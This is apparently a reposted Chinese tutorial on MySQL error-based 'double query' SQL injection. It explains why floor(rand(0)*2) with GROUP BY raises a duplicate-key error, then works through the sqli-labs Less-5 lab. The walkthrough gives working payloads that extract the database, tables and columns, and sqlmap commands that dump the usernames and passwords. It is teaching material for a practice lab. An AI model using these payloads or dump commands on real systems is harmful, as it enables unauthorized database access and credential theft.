報錯注入形式上是兩個嵌套的查詢,即select…(select…),里面的那個select被稱為子查詢,它的執行順序也是先執行子查詢,然后再執行外面的select,雙注入主要涉及到幾個sql函式:
rand()隨機函式,回傳0~1之間的某個值,
floor(a)取整函式,向下取整,
count()聚合函式也稱作計數函式,回傳查詢物件的總數,
group by clause分組陳述句,按照查詢結果分組,
通過報錯來顯示出具體的資訊,
查詢時候如果使用 rand() 函式,值會計算多次(查詢的時候計算一次,插入的時候計算一次)
floor(rand(0)*2)的值是定性的,假隨機,為011011,同理還可用floor((14)*2)偽亂數列為1010,事實上上只要數夠多,甚至可以不指定亂數種子,一定會觸發錯誤,
floor(rand(0)*2)------011011
舉個栗子
select count(*) from table group by floor(rand(0)*2);
group by 建立了一個虛表/臨時表,每一行都有唯一的group_id,以floor(rand(0)2)為group_id,如果不存在則插入,如果存在則count()值加1.我們的數列為011011,解釋如下:
- 創建好臨時表后,Mysql開始逐行掃描table表,遇到的第一個分組列floor(rand(0)*2)為0,便查詢臨時表中是否有group——id為0的列,發現沒有,則新增一行,但是注意此時rand()又計算了一次,所以插入的其實是1:
group_id - - - count(*)
??1?? - - - ??1
- Mysql繼續掃描table表,遇到第二個分組列floor(rand(0)*2)為1(第三個數1),發現1在臨時表中,則不進行插入,rand()也就不會再次計算,count加1:
group_id - - - count(*)
??1?? - - - ??2
- Mysql繼續掃描,遇到第三個分組列floor(rand(0)*2)為0(第四個數0),發現0不在臨時表中,則進行插入,此時rand()又計算了一次,floor(rand(0)*2)值為1,實際上插入的group_id是1,插入時id沖突,所以發生報錯,
深層次的原因:
通過floor報錯的方法來爆資料的本質是group by陳述句的報錯,group by陳述句報錯的原因是floor(random(0)*2)的不確定性,即可能為0也可能為1(group by key的原理是回圈讀取資料的每一行,將結果保存于臨時表中,讀取每一行的key時,如果key存在于臨時表中,則不在臨時表中則更新臨時表中的資料;如果該key不存在于臨時表中,則在臨時表中插入key所在行的資料,group by floor(random(0)*2)出錯的原因是key是個亂數,檢測臨時表中key是否存在時計算了一下floor(random(0)*2)可能為0,如果此時臨時表只有key為1的行不存在key為0的行,那么資料庫要將該條記錄插入臨時表,由于是亂數,插時又要計算一下隨機值,此時floor(random(0)*2)結果可能為1,就會導致插入時沖突而報錯,即檢測時和插入時兩次計算了亂數的值,
實戰演示 sqli-labs/less-5
構造payload爆庫:
?id=0’ union select 1,2,3 from(select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
解釋: 閉合符號’,回顯位3個,
拆解一下payload
concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x
查找版本號,資料庫名字,用戶名字,并將它們和floor(rand(0)*2)拼接在一起,并命名為臨時表x
select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x
運用之前說的count(*),floor(rand(0)*2)報錯模式,只不過這里floor(rand(0)*2)前面加了一串字串,簡化一下select a,b from table group by b,
其中a為count(*),b為concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2)),table為information_schema.tables ,
select 1,2,3 from (select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a
select 1,2,3 from后面跟的也是一個臨時表,所以需要起個名字a,否則會發生如下報錯,每個派生都需要有自己的別名
Every derived table must have its own alias
爆表
?id=0’ union select 1,2,3 from(select count(*),concat((select concat(group_concat(table_name)) from information_schema.tables where table_schema=database() limit 0,1),’:’,floor(rand(0)*2))x from information_schema.tables group by x)a --+
爆列/欄位名
?id=0’ union select 1,2,3 from(select count(*),concat((select concat(group_concat(column_name)) from information_schema.columns where table_name=‘users’ limit 0,1),’:’,floor(rand(0)*2))x from information_schema.tables group by x)a --+
Sqlmap測驗
發現:
sqlmap -u “http://192.168.139.131/sqli/Less-5/?id=0”
發現有3個方式可以注入,基于時間:T,基于錯誤:E,基于bool:B,那就直接:
爆庫
sqlmap -u “http://192.168.139.131/sqli/Less-5/?id=0” --technique TEB --current-db --batch
其中,–current-db發現當前資料所在資料庫,(–dbs是發現所有資料庫),–batch自動選擇Y,可以得到資料庫security,
爆表
sqlmap -u “http://192.168.139.131/sqli/Less-5/?id=0” --technique TEB --D security --tables --batch
爆列
sqlmap -u “http://192.168.139.131/sqli/Less-5/?id=0” --technique TEB --D security -T users --columns --batch
爆資料
sqlmap -u “http://192.168.139.131/sqli/Less-5/?id=0” --technique TEB --D security -T users -C ‘username,password’ --dump --batch
結束撒花~
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/300680.html
標籤:其他
